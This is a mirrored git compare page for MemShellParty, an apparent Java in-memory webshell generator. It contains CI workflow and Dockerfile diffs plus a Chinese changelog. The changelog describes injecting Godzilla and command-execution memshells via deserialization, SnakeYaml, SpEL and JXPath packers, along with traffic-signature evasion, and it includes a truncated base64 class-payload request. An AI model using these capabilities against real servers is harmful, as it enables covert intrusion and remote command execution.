mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 15:10:43 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
fac0748055 | ||
|
|
1926259fab | ||
|
|
bebd374737 | ||
|
|
6b1a569be9 | ||
|
|
bd308fae10 | ||
|
|
05729fc458 | ||
|
|
59fd17355b | ||
|
|
5e8529a0c7 | ||
|
|
f0526eeb28 | ||
|
|
fab623ac4f | ||
|
|
e9a0eb61d9 | ||
|
|
4f86572192 | ||
|
|
2216aafcad | ||
|
|
39b09cecb1 | ||
|
|
9be935694c | ||
|
|
8d68e18a23 | ||
|
|
29207c1b53 | ||
|
|
8c77a4049b | ||
|
|
1cf3c58b7b | ||
|
|
05892d4b8b | ||
|
|
4be54c0ecb | ||
|
|
5a614e3b39 | ||
|
|
34e1e53b67 | ||
|
|
13097cec99 | ||
|
|
b4af77ddb2 | ||
|
|
245ec99839 | ||
|
|
81926b0a78 | ||
|
|
6ccd139444 | ||
|
|
fd1a560aa2 | ||
|
|
55f676553c | ||
|
|
26b4f48e98 | ||
|
|
131222cf29 | ||
|
|
7b390b7773 | ||
|
|
f8696dada5 | ||
|
|
0e0307fb97 | ||
|
|
798e447ab6 | ||
|
|
c495ef46a4 | ||
|
|
69ef9ab230 | ||
|
|
d6ef24b878 | ||
|
|
d06f238e2f | ||
|
|
12d2a191b2 | ||
|
|
86b31b193d | ||
|
|
beb22b3ab1 | ||
|
|
d0acb7712a | ||
|
|
e7c69befe8 | ||
|
|
4134c7233b | ||
|
|
d179ceada7 | ||
|
|
799302348f | ||
|
|
9b849b6e39 | ||
|
|
e7b5430075 | ||
|
|
6942affbc8 | ||
|
|
48a65574aa | ||
|
|
ee1b2db869 | ||
|
|
1879eaab22 | ||
|
|
4ab8ecba13 | ||
|
|
2e5de88f97 | ||
|
|
842200280d | ||
|
|
ab3f7d1043 | ||
|
|
b476c9a542 | ||
|
|
5239b8cb5d | ||
|
|
f88c5d5606 | ||
|
|
b1e3d6aef1 | ||
|
|
8897c4c607 | ||
|
|
92c0d1d8a8 | ||
|
|
c31c3bd958 | ||
|
|
e1f0e7f4bd | ||
|
|
c272a5387d | ||
|
|
44abb44670 | ||
|
|
1120c215d4 | ||
|
|
aa140a8777 | ||
|
|
88af60fea4 | ||
|
|
9b7d244837 | ||
|
|
460465fe35 | ||
|
|
f33972e460 | ||
|
|
da16649e6f | ||
|
|
d7eaf5c068 | ||
|
|
8286dcd4c3 | ||
|
|
ba449cc8e4 | ||
|
|
e844bd5871 | ||
|
|
8f2872e542 | ||
|
|
1c28a5d4ba | ||
|
|
9925d901f5 | ||
|
|
ed50e93183 | ||
|
|
7baa728d0c | ||
|
|
5cc7f7f2e8 | ||
|
|
828556f82b | ||
|
|
134d1f6f4c | ||
|
|
e2272255ca | ||
|
|
3a437512c7 | ||
|
|
2fd2e549ad | ||
|
|
33ce7f3bb0 | ||
|
|
9796cdca97 | ||
|
|
50af147fc9 | ||
|
|
e0385acf8b | ||
|
|
2acafba2f3 | ||
|
|
020d508f7a | ||
|
|
c42969e73e | ||
|
|
6c76a90f03 | ||
|
|
feeb7014fb | ||
|
|
5f7b398ddb | ||
|
|
2b32b741d6 | ||
|
|
2b8e1f5de7 | ||
|
|
a7a5d461fe | ||
|
|
dd727fbe9c |
@@ -35,7 +35,7 @@ jobs:
|
||||
run: bun install --frozen-lockfile && bun run build
|
||||
|
||||
- name: Build Boot with Gradle
|
||||
run: ./gradlew :boot:bootjar -x test
|
||||
run: ./gradlew :boot:test :boot:bootjar
|
||||
|
||||
- name: Upload Boot Jar
|
||||
uses: actions/upload-artifact@v4
|
||||
|
||||
@@ -0,0 +1,41 @@
|
||||
name: Docker Build Test
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'docs/**'
|
||||
- 'boot/**'
|
||||
- 'examples/**'
|
||||
- 'vul/**'
|
||||
- 'web/**'
|
||||
- '**.md'
|
||||
- '**/*.png'
|
||||
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||
cancel-in-progress: true
|
||||
|
||||
jobs:
|
||||
docker-build-test:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
- name: Build Docker image
|
||||
run: |
|
||||
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
|
||||
docker images
|
||||
- name: Run Docker container
|
||||
run: |
|
||||
docker run -d -e BOOT_OPTS=--server.servlet.context-path=/memshell-party -p 8080:8080 app
|
||||
sleep 10
|
||||
- name: Test with curl
|
||||
run: |
|
||||
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/version) -eq 200 ]]; then
|
||||
echo "Test successful!"
|
||||
else
|
||||
echo "Test failed!"
|
||||
exit 1
|
||||
fi
|
||||
@@ -0,0 +1,41 @@
|
||||
name: docker-push
|
||||
on:
|
||||
workflow_dispatch:
|
||||
inputs:
|
||||
path:
|
||||
description: 'Path'
|
||||
required: true
|
||||
default: '/redqueen-memshell-party'
|
||||
tag:
|
||||
description: "Tag"
|
||||
required: true
|
||||
default: "redqueen"
|
||||
jobs:
|
||||
docker-push:
|
||||
name: Docker Push
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Login to Docker Hub
|
||||
uses: docker/login-action@v3
|
||||
with:
|
||||
registry: docker.io
|
||||
username: ${{ vars.DOCKERHUB_USERNAME }}
|
||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||
|
||||
- name: Set up QEMU
|
||||
uses: docker/setup-qemu-action@v3
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v3
|
||||
|
||||
- name: Build and push RedQueen
|
||||
uses: docker/build-push-action@v6
|
||||
with:
|
||||
context: .
|
||||
platforms: linux/amd64,linux/arm64
|
||||
build-args: |
|
||||
ROUTE_ROOT_PATH=${{ inputs.path }}
|
||||
CONTEXT_PATH=${{ inputs.path }}
|
||||
push: true
|
||||
tags: |
|
||||
docker.io/reajason/memshell-party:${{ inputs.tag }}
|
||||
@@ -0,0 +1,76 @@
|
||||
name: MemShell IntegrationTest
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
push:
|
||||
branches:
|
||||
- '**'
|
||||
paths:
|
||||
- './github/workflows/memshell-integration-test.yml'
|
||||
- '**/memshell/**'
|
||||
- '**/packer/**'
|
||||
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||
cancel-in-progress: true
|
||||
|
||||
jobs:
|
||||
memshell-integration-test:
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
cases:
|
||||
- middleware: "tomcat"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "jetty"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "jbossas"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "jbosseap"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "wildfly"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "glassfish"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "resin"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "payara"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "websphere"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "websphere7"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "weblogic"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "springwebmvc"
|
||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
||||
- middleware: "springwebflux"
|
||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
||||
- middleware: "xxljob"
|
||||
depend_tasks: ""
|
||||
runs-on: ubuntu-latest
|
||||
name: ${{ matrix.cases.middleware }}
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v4
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
|
||||
- name: Prepare for Integration Test
|
||||
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
||||
|
||||
- name: Integration Test with gradle
|
||||
run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
|
||||
|
||||
- name: Export Integration Test Summary
|
||||
uses: mikepenz/action-junit-report@v5
|
||||
if: success() || failure()
|
||||
with:
|
||||
report_paths: '**/build/test-results/test/TEST-*.xml'
|
||||
@@ -0,0 +1,72 @@
|
||||
name: Probe IntegrationTest
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
push:
|
||||
branches:
|
||||
- '**'
|
||||
paths:
|
||||
- '**/probe/**'
|
||||
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||
cancel-in-progress: true
|
||||
|
||||
jobs:
|
||||
test:
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
cases:
|
||||
- middleware: "tomcat"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "jetty"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "jbossas"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "jbosseap"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "wildfly"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "glassfish"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "resin"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "payara"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "websphere"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "websphere7"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "weblogic"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "springwebmvc"
|
||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
||||
- middleware: "springwebflux"
|
||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
||||
runs-on: ubuntu-latest
|
||||
name: ${{ matrix.cases.middleware }}
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v4
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
|
||||
- name: Prepare for Integration Test
|
||||
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
||||
|
||||
- name: Integration Test with gradle
|
||||
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
|
||||
|
||||
- name: Export Integration Test Summary
|
||||
uses: mikepenz/action-junit-report@v5
|
||||
if: success() || failure()
|
||||
with:
|
||||
report_paths: '**/build/test-results/test/TEST-*.xml'
|
||||
@@ -112,7 +112,7 @@ jobs:
|
||||
- name: Build and push RedQueen
|
||||
uses: docker/build-push-action@v6
|
||||
with:
|
||||
context: boot
|
||||
context: .
|
||||
platforms: linux/amd64,linux/arm64
|
||||
build-args: |
|
||||
ROUTE_ROOT_PATH=/redqueen-memshell-party
|
||||
|
||||
@@ -1,174 +0,0 @@
|
||||
name: Test
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- '**'
|
||||
paths-ignore:
|
||||
- 'docs/**'
|
||||
- 'boot/**'
|
||||
- 'examples/**'
|
||||
- 'web/**'
|
||||
- '**.md'
|
||||
- '**/*.png'
|
||||
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||
cancel-in-progress: true
|
||||
|
||||
jobs:
|
||||
unit-test:
|
||||
name: UniteTest
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v4
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
|
||||
- name: Generator Unit Test with Gradle
|
||||
run: ./gradlew :generator:test
|
||||
|
||||
- name: Boot Unit Test with Gradle
|
||||
run: ./gradlew :boot:test
|
||||
|
||||
docker-build-test:
|
||||
runs-on: ubuntu-latest
|
||||
if: github.ref == 'refs/heads/master'
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
- name: Build Docker image
|
||||
run: |
|
||||
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
|
||||
docker images
|
||||
- name: Run Docker container
|
||||
run: |
|
||||
docker run -d -e BOOT_OPTS=--server.servlet.context-path=/memshell-party -p 8080:8080 app
|
||||
sleep 10
|
||||
- name: Test with curl
|
||||
run: |
|
||||
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/version) -eq 200 ]]; then
|
||||
echo "Test successful!"
|
||||
else
|
||||
echo "Test failed!"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
memshell-integration-test:
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
cases:
|
||||
- middleware: "tomcat"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "jetty"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "jbossas"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "jbosseap"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "wildfly"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "glassfish"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "resin"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "payara"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "websphere"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "websphere7"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "weblogic"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "springwebmvc"
|
||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
||||
- middleware: "springwebflux"
|
||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
||||
- middleware: "xxljob"
|
||||
depend_tasks: ""
|
||||
runs-on: ubuntu-latest
|
||||
name: ${{ matrix.cases.middleware }}
|
||||
needs: [ unit-test ]
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v4
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
|
||||
- name: Prepare for Integration Test
|
||||
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
||||
|
||||
- name: Integration Test with gradle
|
||||
run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
|
||||
|
||||
- name: Export Integration Test Summary
|
||||
run: cat integration-test/build/test-results/report.md >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
detection-integration-test:
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
cases:
|
||||
- middleware: "tomcat"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "jetty"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "jbossas"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "jbosseap"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "wildfly"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "glassfish"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "resin"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "payara"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "websphere"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "websphere7"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "weblogic"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "springwebmvc"
|
||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
||||
- middleware: "springwebflux"
|
||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
||||
runs-on: ubuntu-latest
|
||||
name: ${{ matrix.cases.middleware }}
|
||||
needs: [ unit-test ]
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v4
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
|
||||
- name: Prepare for Integration Test
|
||||
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
||||
|
||||
- name: Integration Test with gradle
|
||||
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
|
||||
@@ -0,0 +1,35 @@
|
||||
name: Unit-Test
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- '**'
|
||||
paths:
|
||||
- 'generator/**'
|
||||
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||
cancel-in-progress: true
|
||||
|
||||
jobs:
|
||||
unit-test:
|
||||
name: UniteTest
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v4
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
|
||||
- name: Generator Unit Test with Gradle
|
||||
run: ./gradlew :generator:test
|
||||
|
||||
- name: Boot Unit Test with Gradle
|
||||
run: ./gradlew :boot:test
|
||||
+75
-13
@@ -5,12 +5,78 @@ All notable changes to this project will be documented in this file.
|
||||
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
||||
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||
|
||||
## [v2.0.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.10.0) - 2025-08-13
|
||||
## [v2.2.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.2.0) - 2025-11-20
|
||||
|
||||
### Added
|
||||
|
||||
1. 内存马注入器支持接入回显 toString 打印 contextPath 等注入成功或错误信息(By @ReaJason)
|
||||
2. boot 新增通过字节码 base64 获取类名接口,并支持自定义内存马使用随机类名或原始类名
|
||||
3. 适配 Apusic 9.0.1 版本(金蝶 EAS Cloud)
|
||||
4. UI 在 JSP/Base64/序列化相关 payload 生成时添加下载按钮便于下载 JSP 文件/注入器 Class 文件/原始序列化文件
|
||||
5. 支持注入器或回显马添加静态代码块执行构造方法调用,解决部分场景下无法手动调用构造方法
|
||||
6. 支持 SpringWebMVC 回显马生成(#107)
|
||||
7. 添加 Jetty 12 中 ee11 的内存马注入支持和靶场测试用例
|
||||
8. 支持 ScriptEngineJar 打包方式(SnakeYaml 漏洞注入,#109)
|
||||
9. 支持 AbstractTranslet 打包方式,方便 TemplatesImpl 反序列化漏洞注入
|
||||
10. 支持脚本引擎执行回显马生成,方便调试
|
||||
|
||||
### Fixed
|
||||
|
||||
1. 修复自定义内存马生成报错(#102、#106,Thanks @love71 and @m0s30)
|
||||
2. 修复 Tomcat Valve 仅单个情况下注入 ProxyValve 导致站挂掉(#105 Thanks @love71)
|
||||
3. 默认哥斯拉内存马去除对 session 的依赖,解决部分场景下 session 为 null 导致无法连接
|
||||
|
||||
### Changed
|
||||
|
||||
1. 命令执行内存马和命令执行回显马支持从参数或请求头中获取命令参数
|
||||
2. 调整靶场构建使用的 openjdk 改为 eclipse-temurin
|
||||
3. 依赖更新
|
||||
|
||||
**Full Changelog:** [v2.1.0...v2.2.0](https://github.com/ReaJason/MemShellParty/compare/v2.1.0...v2.2.0)
|
||||
|
||||
## [v2.1.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.1.0) - 2025-08-12
|
||||
|
||||
### Added
|
||||
|
||||
1. 添加 BigInteger、ScriptEngineBigInteger 打包方式(#86 by @wanswu)
|
||||
2. 添加 SpELSpringGzipJDK17 打包方式(#83 by @xcxmiku and @ReaJason)
|
||||
3. 添加 JXPathSpringGzipPacker、JXPathSpringGzipPackerJDK17 打包方式(GeoServer 漏洞注入)
|
||||
4. 添加 Base64URLEncoded 打包方式(配合回显马进行小马拉大马测试)
|
||||
5. 支持回显马在进行自定义字节码执行时去除 Java 魔数流量特征
|
||||
```http
|
||||
/path/code?payload=yv66vgAAADIBVQEAJ29yZy9hcGFj...
|
||||
```
|
||||
改为只需要如下方式
|
||||
```http
|
||||
/path/code?payload=IBVQEAJ29yZy9hcGFj...
|
||||
```
|
||||
|
||||
### Fixed
|
||||
|
||||
1. 修复非调试模式下,构造方法中的 e.printStackTrace() 并没有被移除
|
||||
2. 修复使用 Dockerfile 进行自定义构建时,自定义路由无法正常工作
|
||||
3. 修复探测内存马中 Sleep 和 DNSLog 自定义类名失效(#89 Thanks @yinsel)
|
||||
4. 修复自定义内存马中,不会自动调用 listener 添加 getResponseFromRequest 实现代码和 valve 修改包名的逻辑(使用自定义内存马请参考:[如何使用自定义内存马功能](/docs/WriteCustomShell.md) 进行实现,否则会出现不可用的问题)
|
||||
5. 修复使用 SDK 时,Agent Packer 在 jar-with-dependencies(fatjar) 中会出现打包整个 jar 的问题
|
||||
6. 修复 Tomcat Listener 注入会使之前所有 Listener 失效(#93)
|
||||
|
||||
### Changed
|
||||
|
||||
1. 修改 Packer 中对于 Thread.currentThread().getContextClassLoader() 的纯依赖改为新建 URLClassLoader,使得回显马可多次执行
|
||||
2. 去除 logback(java11)和 okhttp 无用依赖,解决使用 SDK 打包部分场景会出现类版本不支持的问题
|
||||
3. 实现 Lombok SuperBuilder 自定义 Builder 简化配置类的创建代码(#9f8f3baa)
|
||||
4. 优化命令执行内存马,改为和回显马逻辑一致,使用 ProcessBuilder.redirectErrorStream 简化流读取
|
||||
5. 修改 packer 中脚本存放添加 memshell-party 一级,防止打包成 fatjar 时文件全在根目录,可能会被覆盖导致功能破坏
|
||||
6. 优化资源读取,通过工具类 loadTemplateFromResource 统一实现
|
||||
7. 优化 Agent Attacher JDK11 异常处理
|
||||
8. 依赖更新
|
||||
|
||||
**Full Changelog:** [v2.0.0...v2.1.0](https://github.com/ReaJason/MemShellParty/compare/v2.0.0...v2.1.0)
|
||||
|
||||
## [v2.0.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.0.0) - 2025-08-13
|
||||
|
||||
> [!WARNING]
|
||||
> 为了区分内存马和探测马,部分类名和接口做了调整,如果使用了
|
||||
> SDK,需要参考:[examples/memshell-party-maven-example](https://github.com/ReaJason/MemShellParty/tree/master/examples/memshell-party-maven-example)
|
||||
> 进行调整。
|
||||
> 为了区分内存马和探测马,部分类名和接口做了调整,如果使用了 SDK,需要参考:[examples/memshell-party-maven-example](https://github.com/ReaJason/MemShellParty/tree/master/examples/memshell-party-maven-example) 进行调整。
|
||||
|
||||
### Added
|
||||
|
||||
@@ -28,18 +94,14 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
|
||||
|
||||
### Changed
|
||||
|
||||
- **简化 Server 类型选择,例如 JBossEAP7 和 WildFly 选择 Undertow** (by @zema1 #74)
|
||||
- **去除注入器中静态代码块调用构造方法,减少注入动作的触发**(可能会导致部分 `Class.forName("name", true, loader)`
|
||||
的场景注入失败,后续会添加字节码 Web 工具进行这块的处理)
|
||||
- **简化 Server 类型选择,例如 JBossEAP7 和 WildFly 选择 Undertow** (#74 by @zema1)
|
||||
- **去除注入器中静态代码块调用构造方法,减少注入动作的触发**(可能会导致部分 `Class.forName("name", true, loader)` 的场景注入失败,后续会添加字节码 Web 工具进行这块的处理)
|
||||
- 简化 Tomcat AgentInjector 的代码
|
||||
- 前端 module 分包减少单个 js 体积,加快首次加载速度
|
||||
- 移除 memshell-party-bom 模块,改用
|
||||
gradle/libs.versions.toml,参考:[Use Version Catalogs to Centralize Dependency Versions](https://docs.gradle.org/current/userguide/best_practices_dependencies.html#use_version_catalogs)
|
||||
- 使用 build-logic 替代
|
||||
buildSrc,加快构建速度,参考:[Favor build-logic Composite Builds for Build Logic](https://docs.gradle.org/current/userguide/best_practices_general.html#favor_composite_builds)
|
||||
- 移除 memshell-party-bom 模块,改用 gradle/libs.versions.toml,参考:[Use Version Catalogs to Centralize Dependency Versions](https://docs.gradle.org/current/userguide/best_practices_dependencies.html#use_version_catalogs)
|
||||
- 使用 build-logic 替代 buildSrc,加快构建速度,参考:[Favor build-logic Composite Builds for Build Logic](https://docs.gradle.org/current/userguide/best_practices_general.html#favor_composite_builds)
|
||||
- 从 generator 模块中分离 payload 生成代码并合并 deserialize 模块为 packer 模块
|
||||
- 使用 i18 扁平化 key,并使用 namespace 区分 MemShell 和 ProbeShell
|
||||
的字段,参考:[RSSNext/Folo/zh-CN.json](https://github.com/RSSNext/Folo/blob/dev/locales/common/zh-CN.json)
|
||||
- 使用 i18 扁平化 key,并使用 namespace 区分 MemShell 和 ProbeShell 的字段,参考:[RSSNext/Folo/zh-CN.json](https://github.com/RSSNext/Folo/blob/dev/locales/common/zh-CN.json)
|
||||
- 升级 gradle-maven-publish-plugin 插件版本,简化打包指令
|
||||
- 统一生成内存马类过程中抛出异常为 GenerationException,并单独设置 GlobalExceptionHandler
|
||||
|
||||
|
||||
+3
-3
@@ -1,4 +1,4 @@
|
||||
FROM buildpack-deps:bullseye-scm AS source
|
||||
FROM --platform=$BUILDPLATFORM buildpack-deps:bullseye-scm AS source
|
||||
|
||||
WORKDIR /usr/src
|
||||
|
||||
@@ -6,7 +6,7 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
|
||||
rm -rf vul integration-test tools
|
||||
|
||||
# https://hub.docker.com/r/oven/bun
|
||||
FROM oven/bun:1.2.19 AS frontend
|
||||
FROM --platform=$BUILDPLATFORM oven/bun:1.3.2 AS frontend
|
||||
|
||||
ARG ROUTE_ROOT_PATH="/"
|
||||
ARG CONTEXT_PATH=""
|
||||
@@ -25,7 +25,7 @@ COPY --from=source /usr/src/web /usr/src/web
|
||||
RUN bun run build
|
||||
|
||||
# https://hub.docker.com/_/eclipse-temurin/tags?name=17.
|
||||
FROM eclipse-temurin:17.0.15_6-jdk-noble AS backend
|
||||
FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.15_6-jdk-noble AS backend
|
||||
|
||||
WORKDIR /usr/src
|
||||
|
||||
|
||||
@@ -1,11 +1,6 @@
|
||||
<h1 align="center">MemShellParty</h1>
|
||||
|
||||
<p align="center">中文 | <a href="./docs/README.en.md">English</a><br></p>
|
||||
<div align="center">
|
||||
|
||||
[](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
||||
[](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
|
||||
</div>
|
||||
|
